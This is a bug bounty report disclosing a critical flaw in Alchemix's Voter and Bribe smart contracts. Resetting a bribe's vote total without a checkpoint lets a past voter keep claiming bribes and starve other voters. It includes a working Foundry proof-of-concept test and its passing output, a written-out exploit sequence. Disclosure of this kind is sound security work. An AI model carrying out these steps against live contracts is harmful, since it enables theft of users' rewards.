31071 - [SC - Critical] User can steal bribes and prevent other users f...

Submitted on May 12th 2024 at 08:42:33 UTC by @imsrybr0 for Boost | Alchemix

Report ID: #31071

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol

Impacts:

  • Theft of unclaimed yield

Description

Brief/Intro

User can steal bribes and prevent other users from claiming theirs.

Vulnerability Details

// ...
contract Voter is IVoter {
	// ...
    function claimBribes(address[] memory _bribes, address[][] memory _tokens, uint256 _tokenId) external {
        require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId));

        for (uint256 i = 0; i < _bribes.length; i++) {
            IBribe(_bribes[i]).getRewardForOwner(_tokenId, _tokens[i]); // <==== Audit
        }
    }

    function distribute() external {
        uint256 start = 0;
        uint256 finish = pools.length;

        for (uint256 x = start; x < finish; x++) {
            // We don't revert if gauge is not alive since pools.length is not reduced
            if (isAlive[gauges[pools[x]]]) {
                _distribute(gauges[pools[x]]); // <==== Audit
            }
        }

        IMinter(minter).updatePeriod();
    }

    function _distribute(address _gauge) internal {
        // Distribute once after epoch has ended
        require(
            block.timestamp >= IMinter(minter).activePeriod() + IMinter(minter).DURATION(),
            "can only distribute after period end"
        );

        uint256 _claimable = claimable[_gauge];

        // Reset claimable amount
        claimable[_gauge] = 0;

        _updateFor(_gauge);

        if (_claimable > 0) {
            IBaseGauge(_gauge).notifyRewardAmount(_claimable);
        }

        IBribe(bribes[_gauge]).resetVoting(); // <==== Audit

        emit DistributeReward(msg.sender, _gauge, _claimable);
    }
	// ...
}
// ...
contract Bribe is IBribe {
	// ...
	function getRewardForOwner(uint256 tokenId, address[] memory tokens) external lock {
        require(msg.sender == voter, "not voter");
        address _owner = IVotingEscrow(veALCX).ownerOf(tokenId);
        uint256 length = tokens.length;
        for (uint256 i = 0; i < length; i++) {
            uint256 _reward = earned(tokens[i], tokenId);

            require(_reward > 0, "no rewards to claim");

            lastEarn[tokens[i]][tokenId] = block.timestamp;

            _writeCheckpoint(tokenId, balanceOf[tokenId]); // <==== Audit

            IERC20(tokens[i]).safeTransfer(_owner, _reward);

            emit ClaimRewards(_owner, tokens[i], _reward);
        }
    }

	function resetVoting() external {
        require(msg.sender == voter);
        totalVoting = 0; // <==== Audit
    }
	// ...
}

Voter@distribute resets the total votes to 0 on the given Gauge corresponding Bribe and doesn't trigger a voting checkpoint. It also doesn't change the individual user balances and total supply causing Bribe and Voter to be out of sync until all previous voter vote again.

Additionally, Voter@claimBribes triggers a checkpoint for the given token id.

Combined, they allow for situation where a user :

  • Votes in Epoch N

  • In Epoch N + 1 :

    • Does not vote.

    • Calls Voter@claimBribes to claim any bribes from Epoch N, triggering a checkpoint and activating rewards for this epoch (.i.e Epoch N + 1, claimable in Epoch N + 2).

    • Calls Voter@distribute to reset total votes. Rewards will now be calculated based on new voters, but still distributed to everyone with a checkpoint.

  • User can keep claiming a share of bribes in future epochs at the expense of other voters.

Impact Details

The impact of this issue will vary based on the participating voters voting power and the pool allocations and can span from rewards being fully stolen to partially stolen and preventing all / some users from claiming theirs because of a lack of funds to cover their shares.

References

  • https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L332-L380

  • https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol

Proof of Concept

    function testStealBribes() public {
        uint256 tokenId1 = createVeAlcx(admin, 2 * TOKEN_1, MAXTIME, false);

        Bribe sushiGaugeBribe = Bribe(voter.bribes(address(sushiGauge)));
        address sushiGaugeBribeToken = sushiGaugeBribe.rewards(0);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 1;

        // Notify rewards to sushi bribe
        createThirdPartyBribe(address(sushiGaugeBribe), sushiGaugeBribeToken, TOKEN_1);

        skip(1 days);
        // Vote for tokendId1
        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);

        // Go to next epoch
        hevm.warp(newEpoch());

        address[] memory bribes = new address[](1);
        bribes[0] = address(sushiGaugeBribe);
        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = sushiGaugeBribeToken;

        // admin claims Bribe rewards from previous epoch.
        // This calls Bribe@getRewardForOwner setting lastEarn time for the given token and triggering a new checkpoint for that token.
        // admin gets all the rewards as he is the only who voted in the previous epoch.
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId1);

        skip(1 days);
        // Distribute gauge rewards
        // This calls Bribe@resetVoting which set totalVoting to 0 in that Bribe without triggering a voting checkpoint.
        voter.distribute();

        skip(1 days);
        // Notify rewards to sushi bribe again
        createThirdPartyBribe(address(sushiGaugeBribe), sushiGaugeBribeToken, TOKEN_1);

        // Two other users now vote in this epoch.
        // This call Bribe@deposit (amongst other calls) and triggers new token, voting and supply checkpoints.
        // If no other users vote here, admin will just get the full bribe rewards.
        uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, MAXTIME, false);
        uint256 tokenId3 = createVeAlcx(dead, TOKEN_1, MAXTIME, false);

        hevm.prank(beef);
        voter.vote(tokenId2, pools, weights, 0); 

        hevm.prank(dead);
        voter.vote(tokenId3, pools, weights, 0); 

        // Go to next epoch
        hevm.warp(newEpoch());

        // All 3 users can claim rewards.
        // However, rewards are not distributed equaly as it would be the case if all of them voted. 
        // totalVoted only accounts for two voters, so rewards will only be split in two.
        // If X is the amount of reward :
        console2.log(sushiGaugeBribe.earned(sushiGaugeBribeToken, tokenId1)); // Can get aproximately X because admin has double the veALCX voting power in this case
        console2.log(sushiGaugeBribe.earned(sushiGaugeBribeToken, tokenId2)); // Can get X / 2
        console2.log(sushiGaugeBribe.earned(sushiGaugeBribeToken, tokenId3)); // Can get X / 2

        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId1);

        // This will fail as there are not enough rewards left in this case
        hevm.prank(beef);
        vm.expectRevert();
        voter.claimBribes(bribes, tokens, tokenId2);

        hevm.prank(dead);
        vm.expectRevert();
        voter.claimBribes(bribes, tokens, tokenId3);
    }

Results

Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testStealBribes() (gas: 6893490)
Logs:
  994217758672975468
  500000000000000000
  500000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 88.42s (70.90s CPU time)

Ran 1 test suite in 90.33s (88.42s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Last updated